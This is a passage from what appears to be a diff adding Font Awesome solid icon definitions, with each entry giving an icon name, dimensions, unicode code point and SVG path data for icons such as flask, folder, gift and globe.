397.5-23.1 11.4-5 18.5-16.5 18.5-28.8v-36c-43.6 17.3-80.2 24.1-112.1 24.1-37.4-.1-68.9-8.4-100-16.6zm0-96c-57.2-15.1-111.7-28.8-203.9 11.1v61.5c94.8-37.6 154.6-22.7 212.1-7.6 57.2 15.1 111.7 28.8 203.9-11.1V200c-43.6 17.3-80.2 24.1-112.1 24.1-37.4 0-68.9-8.3-100-16.5zm9.5-125.9c51.8 15.6 97.4 29 202.6-20.1V30.8c0-25.1-26.8-38.1-49.4-26.6C291.3 91.5 305.4-62.2 96 32.4v151.9c94.8-37.5 154.6-22.7 212.1-7.6 57.2 15 111.7 28.7 203.9-11.1V96.7c-53.6 23.5-93.3 31.4-126.1 31.4s-59-7.8-85.7-15.9c-4-1.2-8.1-2.4-12.1-3.5V75.5c7.2 2 14.3 4.1 21.3 6.2zM160 128.1c-8.8 0-16-7.1-16-16 0-8.8 7.2-16 16-16s16 7.1 16 16-7.2 16-16 16zm0-55.8c-8.8 0-16-7.1-16-16 0-8.8 7.2-16 16-16s16 7.1 16 16c0 8.8-7.2 16-16 16zm64 47.9c-8.8 0-16-7.1-16-16 0-8.8 7.2-16 16-16s16 7.1 16 16c0 8.8-7.2 16-16 16zm0-55.9c-8.8 0-16-7.1-16-16 0-8.8 7.2-16 16-16s16 7.1 16 16c0 8.8-7.2 16-16 16z" ], + flask: [ 448, 512, [], "f0c3", "M437.2 403.5L320 215V64h8c13.3 0 24-10.7 24-24V24c0-13.3-10.7-24-24-24H120c-13.3 0-24 10.7-24 24v16c0 13.3 10.7 24 24 24h8v151L10.8 403.5C-18.5 450.6 15.3 512 70.9 512h306.2c55.7 0 89.4-61.5 60.1-108.5zM137.9 320l48.2-77.6c3.7-5.2 5.8-11.6 5.8-18.4V64h64v160c0 6.9 2.2 13.2 5.8 18.4l48.2 77.6h-172z" ], + flushed: [ 496, 512, [], "f579", "M344 200c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm-192 0c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM80 224c0-39.8 32.2-72 72-72s72 32.2 72 72-32.2 72-72 72-72-32.2-72-72zm232 176H184c-21.2 0-21.2-32 0-32h128c21.2 0 21.2 32 0 32zm32-104c-39.8 0-72-32.2-72-72s32.2-72 72-72 72 32.2 72 72-32.2 72-72 72z" ], + folder: [ 512, 512, [], "f07b", "M464 128H272l-64-64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V176c0-26.51-21.49-48-48-48z" ], + "folder-minus": [ 512, 512, [], "f65d", "M464 128H272l-64-64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V176c0-26.51-21.49-48-48-48zm-96 168c0 8.84-7.16 16-16 16H160c-8.84 0-16-7.16-16-16v-16c0-8.84 7.16-16 16-16h192c8.84 0 16 7.16 16 16v16z" ], + "folder-open": [ 576, 512, [], "f07c", "M572.694 292.093L500.27 416.248A63.997 63.997 0 0 1 444.989 448H45.025c-18.523 0-30.064-20.093-20.731-36.093l72.424-124.155A64 64 0 0 1 152 256h399.964c18.523 0 30.064 20.093 20.73 36.093zM152 224h328v-48c0-26.51-21.49-48-48-48H272l-64-64H48C21.49 64 0 85.49 0 112v278.046l69.077-118.418C86.214 242.25 117.989 224 152 224z" ], + "folder-plus": [ 512, 512, [], "f65e", "M464,128H272L208,64H48A48,48,0,0,0,0,112V400a48,48,0,0,0,48,48H464a48,48,0,0,0,48-48V176A48,48,0,0,0,464,128ZM359.5,296a16,16,0,0,1-16,16h-64v64a16,16,0,0,1-16,16h-16a16,16,0,0,1-16-16V312h-64a16,16,0,0,1-16-16V280a16,16,0,0,1,16-16h64V200a16,16,0,0,1,16-16h16a16,16,0,0,1,16,16v64h64a16,16,0,0,1,16,16Z" ], + font: [ 448, 512, [], "f031", "M432 416h-23.41L277.88 53.69A32 32 0 0 0 247.58 32h-47.16a32 32 0 0 0-30.3 21.69L39.41 416H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-19.58l23.3-64h152.56l23.3 64H304a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM176.85 272L224 142.51 271.15 272z" ], + "font-awesome-logo-full": [ 3992, 512, [ "Font Awesome" ], "f4e6", "M454.6 0H57.4C25.9 0 0 25.9 0 57.4v397.3C0 486.1 25.9 512 57.4 512h397.3c31.4 0 57.4-25.9 57.4-57.4V57.4C512 25.9 486.1 0 454.6 0zm-58.9 324.9c0 4.8-4.1 6.9-8.9 8.9-19.2 8.1-39.7 15.7-61.5 15.7-40.5 0-68.7-44.8-163.2 2.5v51.8c0 30.3-45.7 30.2-45.7 0v-250c-9-7-15-17.9-15-30.3 0-21 17.1-38.2 38.2-38.2 21 0 38.2 17.1 38.2 38.2 0 12.2-5.8 23.2-14.9 30.2v21c37.1-12 65.5-34.4 146.1-3.4 26.6 11.4 68.7-15.7 76.5-15.7 5.5 0 10.3 4.1 10.3 8.9v160.4zm432.9-174.2h-137v70.1H825c39.8 0 40.4 62.2 0 62.2H691.6v105.6c0 45.5-70.7 46.4-70.7 0V128.3c0-22 18-39.8 39.8-39.8h167.8c39.6 0 40.5 62.2.1 62.2zm191.1 23.4c-169.3 0-169.1 252.4 0 252.4 169.9 0 169.9-252.4 0-252.4zm0 196.1c-81.6 0-82.1-139.8 0-139.8 82.5 0 82.4 139.8 0 139.8zm372.4 53.4c-17.5 0-31.4-13.9-31.4-31.4v-117c0-62.4-72.6-52.5-99.1-16.4v133.4c0 41.5-63.3 41.8-63.3 0V208c0-40 63.1-41.6 63.1 0v3.4c43.3-51.6 162.4-60.4 162.4 39.3v141.5c.3 30.4-31.5 31.4-31.7 31.4zm179.7 2.9c-44.3 0-68.3-22.9-68.3-65.8V235.2H1488c-35.6 0-36.7-55.3 0-55.3h15.5v-37.3c0-41.3 63.8-42.1 63.8 0v37.5h24.9c35.4 0 35.7 55.3 0 55.3h-24.9v108.5c0 29.6 26.1 26.3 27.4 26.3 31.4 0 52.6 56.3-22.9 56.3zM1992 123c-19.5-50.2-95.5-50-114.5 0-107.3 275.7-99.5 252.7-99.5 262.8 0 42.8 58.3 51.2 72.1 14.4l13.5-35.9H2006l13 35.9c14.2 37.7 72.1 27.2 72.1-14.4 0-10.1 5.3 6.8-99.1-262.8zm-108.9 179.1l51.7-142.9 51.8 142.9h-103.5zm591.3-85.6l-53.7 176.3c-12.4 41.2-72 41-84 0l-42.3-135.9-42.3 135.9c-12.4 40.9-72 41.2-84.5 0l-54.2-176.3c-12.5-39.4 49.8-56.1 60.2-16.9L2213 342l45.3-139.5c10.9-32.7 59.6-34.7 71.2 0l45.3 139.5 39.3-142.4c10.3-38.3 72.6-23.8 60.3 16.9zm275.4 75.1c0-42.4-33.9-117.5-119.5-117.5-73.2 0-124.4 56.3-124.4 126 0 77.2 55.3 126.4 128.5 126.4 31.7 0 93-11.5 93-39.8 0-18.3-21.1-31.5-39.3-22.4-49.4 26.2-109 8.4-115.9-43.8h148.3c16.3 0 29.3-13.4 29.3-28.9zM2571 277.7c9.5-73.4 113.9-68.6 118.6 0H2571zm316.7 148.8c-31.4 0-81.6-10.5-96.6-31.9-12.4-17 2.5-39.8 21.8-39.8 16.3 0 36.8 22.9 77.7 22.9 27.4 0 40.4-11 40.4-25.8 0-39.8-142.9-7.4-142.9-102 0-40.4 35.3-75.7 98.6-75.7 31.4 0 74.1 9.9 87.6 29.4 10.8 14.8-1.4 36.2-20.9 36.2-15.1 0-26.7-17.3-66.2-17.3-22.9 0-37.8 10.5-37.8 23.8 0 35.9 142.4 6 142.4 103.1-.1 43.7-37.4 77.1-104.1 77.1zm266.8-252.4c-169.3 0-169.1 252.4 0 252.4 170.1 0 169.6-252.4 0-252.4zm0 196.1c-81.8 0-82-139.8 0-139.8 82.5 0 82.4 139.8 0 139.8zm476.9 22V268.7c0-53.8-61.4-45.8-85.7-10.5v134c0 41.3-63.8 42.1-63.8 0V268.7c0-52.1-59.5-47.4-85.7-10.1v133.6c0 41.5-63.3 41.8-63.3 0V208c0-40 63.1-41.6 63.1 0v3.4c9.9-14.4 41.8-37.3 78.6-37.3 35.3 0 57.7 16.4 66.7 43.8 13.9-21.8 45.8-43.8 82.6-43.8 44.3 0 70.7 23.4 70.7 72.7v145.3c.5 17.3-13.5 31.4-31.9 31.4 3.5.1-31.3 1.1-31.3-31.3zM3992 291.6c0-42.4-32.4-117.5-117.9-117.5-73.2 0-127.5 56.3-127.5 126 0 77.2 58.3 126.4 131.6 126.4 31.7 0 91.5-11.5 91.5-39.8 0-18.3-21.1-31.5-39.3-22.4-49.4 26.2-110.5 8.4-117.5-43.8h149.8c16.3 0 29.1-13.4 29.3-28.9zm-180.5-13.9c9.7-74.4 115.9-68.3 120.1 0h-120.1z" ], + "football-ball": [ 496, 512, [], "f44e", "M481.5 60.3c-4.8-18.2-19.1-32.5-37.3-37.4C420.3 16.5 383 8.9 339.4 8L496 164.8c-.8-43.5-8.2-80.6-14.5-104.5zm-467 391.4c4.8 18.2 19.1 32.5 37.3 37.4 23.9 6.4 61.2 14 104.8 14.9L0 347.2c.8 43.5 8.2 80.6 14.5 104.5zM4.2 283.4L220.4 500c132.5-19.4 248.8-118.7 271.5-271.4L275.6 12C143.1 31.4 26.8 130.7 4.2 283.4zm317.3-123.6c3.1-3.1 8.2-3.1 11.3 0l11.3 11.3c3.1 3.1 3.1 8.2 0 11.3l-28.3 28.3 28.3 28.3c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-28.3-28.3-22.6 22.7 28.3 28.3c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0L248 278.6l-22.6 22.6 28.3 28.3c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-28.3-28.3-28.3 28.3c-3.1 3.1-8.2 3.1-11.3 0l-11.3-11.3c-3.1-3.1-3.1-8.2 0-11.3l28.3-28.3-28.3-28.2c-3.1-3.1-3.1-8.2 0-11.3l11.3-11.3c3.1-3.1 8.2-3.1 11.3 0l28.3 28.3 22.6-22.6-28.3-28.3c-3.1-3.1-3.1-8.2 0-11.3l11.3-11.3c3.1-3.1 8.2-3.1 11.3 0l28.3 28.3 22.6-22.6-28.3-28.3c-3.1-3.1-3.1-8.2 0-11.3l11.3-11.3c3.1-3.1 8.2-3.1 11.3 0l28.3 28.3 28.3-28.5z" ], + forward: [ 512, 512, [], "f04e", "M500.5 231.4l-192-160C287.9 54.3 256 68.6 256 96v320c0 27.4 31.9 41.8 52.5 24.6l192-160c15.3-12.8 15.3-36.4 0-49.2zm-256 0l-192-160C31.9 54.3 0 68.6 0 96v320c0 27.4 31.9 41.8 52.5 24.6l192-160c15.3-12.8 15.3-36.4 0-49.2z" ], + frog: [ 576, 512, [], "f52e", "M446.53 97.43C439.67 60.23 407.19 32 368 32c-39.23 0-71.72 28.29-78.54 65.54C126.75 112.96-.5 250.12 0 416.98.11 451.9 29.08 480 64 480h304c8.84 0 16-7.16 16-16 0-17.67-14.33-32-32-32h-79.49l35.8-48.33c24.14-36.23 10.35-88.28-33.71-106.6-23.89-9.93-51.55-4.65-72.24 10.88l-32.76 24.59c-7.06 5.31-17.09 3.91-22.41-3.19-5.3-7.08-3.88-17.11 3.19-22.41l34.78-26.09c36.84-27.66 88.28-27.62 125.13 0 10.87 8.15 45.87 39.06 40.8 93.21L469.62 480H560c8.84 0 16-7.16 16-16 0-17.67-14.33-32-32-32h-53.63l-98.52-104.68 154.44-86.65A58.16 58.16 0 0 0 576 189.94c0-21.4-11.72-40.95-30.48-51.23-40.56-22.22-98.99-41.28-98.99-41.28zM368 136c-13.26 0-24-10.75-24-24 0-13.26 10.74-24 24-24 13.25 0 24 10.74 24 24 0 13.25-10.75 24-24 24z" ], + frown: [ 496, 512, [], "f119", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm-160 0c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm170.2 218.2C315.8 367.4 282.9 352 248 352s-67.8 15.4-90.2 42.2c-13.5 16.3-38.1-4.2-24.6-20.5C161.7 339.6 203.6 320 248 320s86.3 19.6 114.7 53.8c13.6 16.2-11 36.7-24.5 20.4z" ], + "frown-open": [ 496, 512, [], "f57a", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM136 208c0-17.7 14.3-32 32-32s32 14.3 32 32-14.3 32-32 32-32-14.3-32-32zm187.3 183.3c-31.2-9.6-59.4-15.3-75.3-15.3s-44.1 5.7-75.3 15.3c-11.5 3.5-22.5-6.3-20.5-18.1 7-40 60.1-61.2 95.8-61.2s88.8 21.3 95.8 61.2c2 11.9-9.1 21.6-20.5 18.1zM328 240c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z" ], + "funnel-dollar": [ 640, 512, [], "f662", "M433.46 165.94l101.2-111.87C554.61 34.12 540.48 0 512.26 0H31.74C3.52 0-10.61 34.12 9.34 54.07L192 256v155.92c0 12.59 5.93 24.44 16 32l79.99 60c20.86 15.64 48.47 6.97 59.22-13.57C310.8 455.38 288 406.35 288 352c0-89.79 62.05-165.17 145.46-186.06zM480 192c-88.37 0-160 71.63-160 160s71.63 160 160 160 160-71.63 160-160-71.63-160-160-160zm16 239.88V448c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-16.29c-11.29-.58-22.27-4.52-31.37-11.35-3.9-2.93-4.1-8.77-.57-12.14l11.75-11.21c2.77-2.64 6.89-2.76 10.13-.73 3.87 2.42 8.26 3.72 12.82 3.72h28.11c6.5 0 11.8-5.92 11.8-13.19 0-5.95-3.61-11.19-8.77-12.73l-45-13.5c-18.59-5.58-31.58-23.42-31.58-43.39 0-24.52 19.05-44.44 42.67-45.07V256c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16.29c11.29.58 22.27 4.51 31.37 11.35 3.9 2.93 4.1 8.77.57 12.14l-11.75 11.21c-2.77 2.64-6.89 2.76-10.13.73-3.87-2.43-8.26-3.72-12.82-3.72h-28.11c-6.5 0-11.8 5.92-11.8 13.19 0 5.95 3.61 11.19 8.77 12.73l45 13.5c18.59 5.58 31.58 23.42 31.58 43.39 0 24.53-19.04 44.44-42.67 45.07z" ], + futbol: [ 512, 512, [], "f1e3", "M504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zm-48 0l-.003-.282-26.064 22.741-62.679-58.5 16.454-84.355 34.303 3.072c-24.889-34.216-60.004-60.089-100.709-73.141l13.651 31.939L256 139l-74.953-41.525 13.651-31.939c-40.631 13.028-75.78 38.87-100.709 73.141l34.565-3.073 16.192 84.355-62.678 58.5-26.064-22.741-.003.282c0 43.015 13.497 83.952 38.472 117.991l7.704-33.897 85.138 10.447 36.301 77.826-29.902 17.786c40.202 13.122 84.29 13.148 124.572 0l-29.902-17.786 36.301-77.826 85.138-10.447 7.704 33.897C442.503 339.952 456 299.015 456 256zm-248.102 69.571l-29.894-91.312L256 177.732l77.996 56.527-29.622 91.312h-96.476z" ], + gamepad: [ 640, 512, [], "f11b", "M480.07 96H160a160 160 0 1 0 114.24 272h91.52A160 160 0 1 0 480.07 96zM248 268a12 12 0 0 1-12 12h-52v52a12 12 0 0 1-12 12h-24a12 12 0 0 1-12-12v-52H84a12 12 0 0 1-12-12v-24a12 12 0 0 1 12-12h52v-52a12 12 0 0 1 12-12h24a12 12 0 0 1 12 12v52h52a12 12 0 0 1 12 12zm216 76a40 40 0 1 1 40-40 40 40 0 0 1-40 40zm64-96a40 40 0 1 1 40-40 40 40 0 0 1-40 40z" ], + "gas-pump": [ 512, 512, [], "f52f", "M336 448H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h320c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm157.2-340.7l-81-81c-6.2-6.2-16.4-6.2-22.6 0l-11.3 11.3c-6.2 6.2-6.2 16.4 0 22.6L416 97.9V160c0 28.1 20.9 51.3 48 55.2V376c0 13.2-10.8 24-24 24s-24-10.8-24-24v-32c0-48.6-39.4-88-88-88h-8V64c0-35.3-28.7-64-64-64H96C60.7 0 32 28.7 32 64v352h288V304h8c22.1 0 40 17.9 40 40v27.8c0 37.7 27 72 64.5 75.9 43 4.3 79.5-29.5 79.5-71.7V152.6c0-17-6.8-33.3-18.8-45.3zM256 192H96V64h160v128z" ], + gavel: [ 512, 512, [], "f0e3", "M504.971 199.362l-22.627-22.627c-9.373-9.373-24.569-9.373-33.941 0l-5.657 5.657L329.608 69.255l5.657-5.657c9.373-9.373 9.373-24.569 0-33.941L312.638 7.029c-9.373-9.373-24.569-9.373-33.941 0L154.246 131.48c-9.373 9.373-9.373 24.569 0 33.941l22.627 22.627c9.373 9.373 24.569 9.373 33.941 0l5.657-5.657 39.598 39.598-81.04 81.04-5.657-5.657c-12.497-12.497-32.758-12.497-45.255 0L9.373 412.118c-12.497 12.497-12.497 32.758 0 45.255l45.255 45.255c12.497 12.497 32.758 12.497 45.255 0l114.745-114.745c12.497-12.497 12.497-32.758 0-45.255l-5.657-5.657 81.04-81.04 39.598 39.598-5.657 5.657c-9.373 9.373-9.373 24.569 0 33.941l22.627 22.627c9.373 9.373 24.569 9.373 33.941 0l124.451-124.451c9.372-9.372 9.372-24.568 0-33.941z" ], + gem: [ 576, 512, [], "f3a5", "M485.5 0L576 160H474.9L405.7 0h79.8zm-128 0l69.2 160H149.3L218.5 0h139zm-267 0h79.8l-69.2 160H0L90.5 0zM0 192h100.7l123 251.7c1.5 3.1-2.7 5.9-5 3.3L0 192zm148.2 0h279.6l-137 318.2c-1 2.4-4.5 2.4-5.5 0L148.2 192zm204.1 251.7l123-251.7H576L357.3 446.9c-2.3 2.7-6.5-.1-5-3.2z" ], + genderless: [ 288, 512, [], "f22d", "M144 176c44.1 0 80 35.9 80 80s-35.9 80-80 80-80-35.9-80-80 35.9-80 80-80m0-64C64.5 112 0 176.5 0 256s64.5 144 144 144 144-64.5 144-144-64.5-144-144-144z" ], + ghost: [ 384, 512, [], "f6e2", "M186.1.09C81.01 3.24 0 94.92 0 200.05v263.92c0 14.26 17.23 21.39 27.31 11.31l24.92-18.53c6.66-4.95 16-3.99 21.51 2.21l42.95 48.35c6.25 6.25 16.38 6.25 22.63 0l40.72-45.85c6.37-7.17 17.56-7.17 23.92 0l40.72 45.85c6.25 6.25 16.38 6.25 22.63 0l42.95-48.35c5.51-6.2 14.85-7.17 21.51-2.21l24.92 18.53c10.08 10.08 27.31 2.94 27.31-11.31V192C384 84 294.83-3.17 186.1.09zM128 224c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm128 0c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" ], + gift: [ 512, 512, [], "f06b", "M32 448c0 17.7 14.3 32 32 32h160V320H32v128zm256 32h160c17.7 0 32-14.3 32-32V320H288v160zm192-320h-42.1c6.2-12.1 10.1-25.5 10.1-40 0-48.5-39.5-88-88-88-41.6 0-68.5 21.3-103 68.3-34.5-47-61.4-68.3-103-68.3-48.5 0-88 39.5-88 88 0 14.5 3.8 27.9 10.1 40H32c-17.7 0-32 14.3-32 32v80c0 8.8 7.2 16 16 16h480c8.8 0 16-7.2 16-16v-80c0-17.7-14.3-32-32-32zm-326.1 0c-22.1 0-40-17.9-40-40s17.9-40 40-40c19.9 0 34.6 3.3 86.1 80h-86.1zm206.1 0h-86.1c51.4-76.5 65.7-80 86.1-80 22.1 0 40 17.9 40 40s-17.9 40-40 40z" ], + gifts: [ 640, 512, [], "f79c", "M240.6 194.1c1.9-30.8 17.3-61.2 44-79.8C279.4 103.5 268.7 96 256 96h-29.4l30.7-22c7.2-5.1 8.9-15.1 3.7-22.3l-9.3-13c-5.1-7.2-15.1-8.9-22.3-3.7l-32 22.9 11.5-30.6c3.1-8.3-1.1-17.5-9.4-20.6l-15-5.6c-8.3-3.1-17.5 1.1-20.6 9.4l-19.9 53-19.9-53.1C121 2.1 111.8-2.1 103.5 1l-15 5.6C80.2 9.7 76 19 79.2 27.2l11.5 30.6L58.6 35c-7.2-5.1-17.2-3.5-22.3 3.7l-9.3 13c-5.1 7.2-3.5 17.2 3.7 22.3l30.7 22H32c-17.7 0-32 14.3-32 32v352c0 17.7 14.3 32 32 32h168.9c-5.5-9.5-8.9-20.3-8.9-32V256c0-29.9 20.8-55 48.6-61.9zM224 480c0 17.7 14.3 32 32 32h160V384H224v96zm224 32h160c17.7 0 32-14.3 32-32v-96H448v128zm160-288h-20.4c2.6-7.6 4.4-15.5 4.4-23.8 0-35.5-27-72.2-72.1-72.2-48.1 0-75.9 47.7-87.9 75.3-12.1-27.6-39.9-75.3-87.9-75.3-45.1 0-72.1 36.7-72.1 72.2 0 8.3 1.7 16.2 4.4 23.8H256c-17.7 0-32 14.3-32 32v96h192V224h15.3l.7-.2.7.2H448v128h192v-96c0-17.7-14.3-32-32-32zm-272 0c-2.7-1.4-5.1-3-7.2-4.8-7.3-6.4-8.8-13.8-8.8-19 0-9.7 6.4-24.2 24.1-24.2 18.7 0 35.6 27.4 44.5 48H336zm199.2-4.8c-2.1 1.8-4.5 3.4-7.2 4.8h-52.6c8.8-20.3 25.8-48 44.5-48 17.7 0 24.1 14.5 24.1 24.2 0 5.2-1.5 12.6-8.8 19z" ], + "glass-cheers": [ 640, 512, [], "f79f", "M639.4 433.6c-8.4-20.4-31.8-30.1-52.2-21.6l-22.1 9.2-38.7-101.9c47.9-35 64.8-100.3 34.5-152.8L474.3 16c-8-13.9-25.1-19.7-40-13.6L320 49.8 205.7 2.4c-14.9-6.2-32-.3-40 13.6L79.1 166.5C48.9 219 65.7 284.3 113.6 319.2L74.9 421.1l-22.1-9.2c-20.4-8.5-43.7 1.2-52.2 21.6-1.7 4.1.2 8.8 4.3 10.5l162.3 67.4c4.1 1.7 8.7-.2 10.4-4.3 8.4-20.4-1.2-43.8-21.6-52.3l-22.1-9.2L173.3 342c4.4.5 8.8 1.3 13.1 1.3 51.7 0 99.4-33.1 113.4-85.3l20.2-75.4 20.2 75.4c14 52.2 61.7 85.3 113.4 85.3 4.3 0 8.7-.8 13.1-1.3L506 445.6l-22.1 9.2c-20.4 8.5-30.1 31.9-21.6 52.3 1.7 4.1 6.4 6 10.4 4.3L635.1 444c4-1.7 6-6.3 4.3-10.4zM275.9 162.1l-112.1-46.5 36.5-63.4 94.5 39.2-18.9 70.7zm88.2 0l-18.9-70.7 94.5-39.2 36.5 63.4-112.1 46.5z" ], + "glass-martini": [ 512, 512, [], "f000", "M502.05 57.6C523.3 36.34 508.25 0 478.2 0H33.8C3.75 0-11.3 36.34 9.95 57.6L224 271.64V464h-56c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h240c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40h-56V271.64L502.05 57.6z" ], + "glass-martini-alt": [ 512, 512, [], "f57b", "M502.05 57.6C523.3 36.34 508.25 0 478.2 0H33.8C3.75 0-11.3 36.34 9.95 57.6L224 271.64V464h-56c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h240c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40h-56V271.64L502.05 57.6zM443.77 48l-48 48H116.24l-48-48h375.53z" ], + "glass-whiskey": [ 512, 512, [], "f7a0", "M480 32H32C12.5 32-2.4 49.2.3 68.5l56 356.5c4.5 31.5 31.5 54.9 63.4 54.9h273c31.8 0 58.9-23.4 63.4-54.9l55.6-356.5C514.4 49.2 499.5 32 480 32zm-37.4 64l-30 192h-313L69.4 96h373.2z" ], + glasses: [ 576, 512, [], "f530", "M574.1 280.37L528.75 98.66c-5.91-23.7-21.59-44.05-43-55.81-21.44-11.73-46.97-14.11-70.19-6.33l-15.25 5.08c-8.39 2.79-12.92 11.86-10.12 20.24l5.06 15.18c2.79 8.38 11.85 12.91 20.23 10.12l13.18-4.39c10.87-3.62 23-3.57 33.16 1.73 10.29 5.37 17.57 14.56 20.37 25.82l38.46 153.82c-22.19-6.81-49.79-12.46-81.2-12.46-34.77 0-73.98 7.02-114.85 26.74h-73.18c-40.87-19.74-80.08-26.75-114.86-26.75-31.42 0-59.02 5.65-81.21 12.46l38.46-153.83c2.79-11.25 10.09-20.45 20.38-25.81 10.16-5.3 22.28-5.35 33.15-1.73l13.17 4.39c8.38 2.79 17.44-1.74 20.23-10.12l5.06-15.18c2.8-8.38-1.73-17.45-10.12-20.24l-15.25-5.08c-23.22-7.78-48.75-5.41-70.19 6.33-21.41 11.77-37.09 32.11-43 55.8L1.9 280.37A64.218 64.218 0 0 0 0 295.86v70.25C0 429.01 51.58 480 115.2 480h37.12c60.28 0 110.37-45.94 114.88-105.37l2.93-38.63h35.75l2.93 38.63C313.31 434.06 363.4 480 423.68 480h37.12c63.62 0 115.2-50.99 115.2-113.88v-70.25c0-5.23-.64-10.43-1.9-15.5zm-370.72 89.42c-1.97 25.91-24.4 46.21-51.06 46.21H115.2C86.97 416 64 393.62 64 366.11v-37.54c18.12-6.49 43.42-12.92 72.58-12.92 23.86 0 47.26 4.33 69.93 12.92l-3.13 41.22zM512 366.12c0 27.51-22.97 49.88-51.2 49.88h-37.12c-26.67 0-49.1-20.3-51.06-46.21l-3.13-41.22c22.67-8.59 46.08-12.92 69.95-12.92 29.12 0 54.43 6.44 72.55 12.93v37.54z" ], + globe: [ 496, 512, [], "f0ac", "M336.5 160C322 70.7 287.8 8 248 8s-74 62.7-88.5 152h177zM152 256c0 22.2 1.2 43.5 3.3 64h185.3c2.1-20.5 3.3-41.8 3.3-64s-1.2-43.5-3.3-64H155.3c-2.1 20.5-3.3 41.8-3.3 64zm324.7-96c-28.6-67.9-86.5-120.4-158-141.6 24.4 33.8 41.2 84.7 50 141.6h108zM177.2 18.4C105.8 39.6 47.8 92.1 19.3 160h108c8.7-56.9 25.5-107.8 49.9-141.6zM487.4 192H372.7c2.1 21 3.3 42.5 3.3 64s-1.2 43-3.3 64h114.6c5.5-20.5 8.6-41.8 8.6-64s-3.1-43.5-8.5-64zM120 256c0-21.5 1.2-43 3.3-64H8.6C3.2 212.5 0 233.8 0 256s3.2 43.5 8.6 64h114.6c-2-21-3.2-42.5-3.2-64zm39.5 96c14.5 89.3 48.7 152 88.5 152s74-62.7 88.5-152h-177zm159.3 141.6c71.4-21.2 129.4-73.7 158-141.6h-108c-8.8 56.9-25.6 107.8-50 141.6zM19.3 352c28.6 67.9 86.5 120.4 158 141.6-24.4-33.8-41.2-84.7-50-141.6h-108z" ], + "globe-africa": [ 496, 512, [], "f57c", "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm160 215.5v6.93c0 5.87-3.32 11.24-8.57 13.86l-15.39 7.7a15.485 15.485 0 0 1-15.53-.97l-18.21-12.14a15.52 15.52 0 0 0-13.5-1.81l-2.65.88c-9.7 3.23-13.66 14.79-7.99 23.3l13.24 19.86c2.87 4.31 7.71 6.9 12.89 6.9h8.21c8.56 0 15.5 6.94 15.5 15.5v11.34c0 3.35-1.09 6.62-3.1 9.3l-18.74 24.98c-1.42 1.9-2.39 4.1-2.83 6.43l-4.3 22.83c-.62 3.29-2.29 6.29-4.76 8.56a159.608 159.608 0 0 0-25 29.16l-13.03 19.55a27.756 27.756 0 0 1-23.09 12.36c-10.51 0-20.12-5.94-24.82-15.34a78.902 78.902 0 0 1-8.33-35.29V367.5c0-8.56-6.94-15.5-15.5-15.5h-25.88c-14.49 0-28.38-5.76-38.63-16a54.659 54.659 0 0 1-16-38.63v-14.06c0-17.19 8.1-33.38 21.85-43.7l27.58-20.69a54.663 54.663 0 0 1 32.78-10.93h.89c8.48 0 16.85 1.97 24.43 5.77l14.72 7.36c3.68 1.84 7.93 2.14 11.83.84l47.31-15.77c6.33-2.11 10.6-8.03 10.6-14.7 0-8.56-6.94-15.5-15.5-15.5h-10.09c-4.11 0-8.05-1.63-10.96-4.54l-6.92-6.92a15.493 15.493 0 0 0-10.96-4.54H199.5c-8.56 0-15.5-6.94-15.5-15.5v-4.4c0-7.11 4.84-13.31 11.74-15.04l14.45-3.61c3.74-.94 7-3.23 9.14-6.44l8.08-12.11c2.87-4.31 7.71-6.9 12.89-6.9h24.21c8.56 0 15.5-6.94 15.5-15.5v-21.7C359.23 71.63 422.86 131.02 441.93 208H423.5c-8.56 0-15.5 6.94-15.5 15.5z" ], + "globe-americas": [ 496, 512, [], "f57d", "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm82.29 357.6c-3.9 3.88-7.99 7.95-11.31 11.28-2.99 3-5.1 6.7-6.17 10.71-1.51 5.66-2.73 11.38-4.77 16.87l-17.39 46.85c-13.76 3-28 4.69-42.65 4.69v-27.38c1.69-12.62-7.64-36.26-22.63-51.25-6-6-9.37-14.14-9.37-22.63v-32.01c0-11.64-6.27-22.34-16.46-27.97-14.37-7.95-34.81-19.06-48.81-26.11-11.48-5.78-22.1-13.14-31.65-21.75l-.8-.72a114.792 114.792 0 0 1-18.06-20.74c-9.38-13.77-24.66-36.42-34.59-51.14 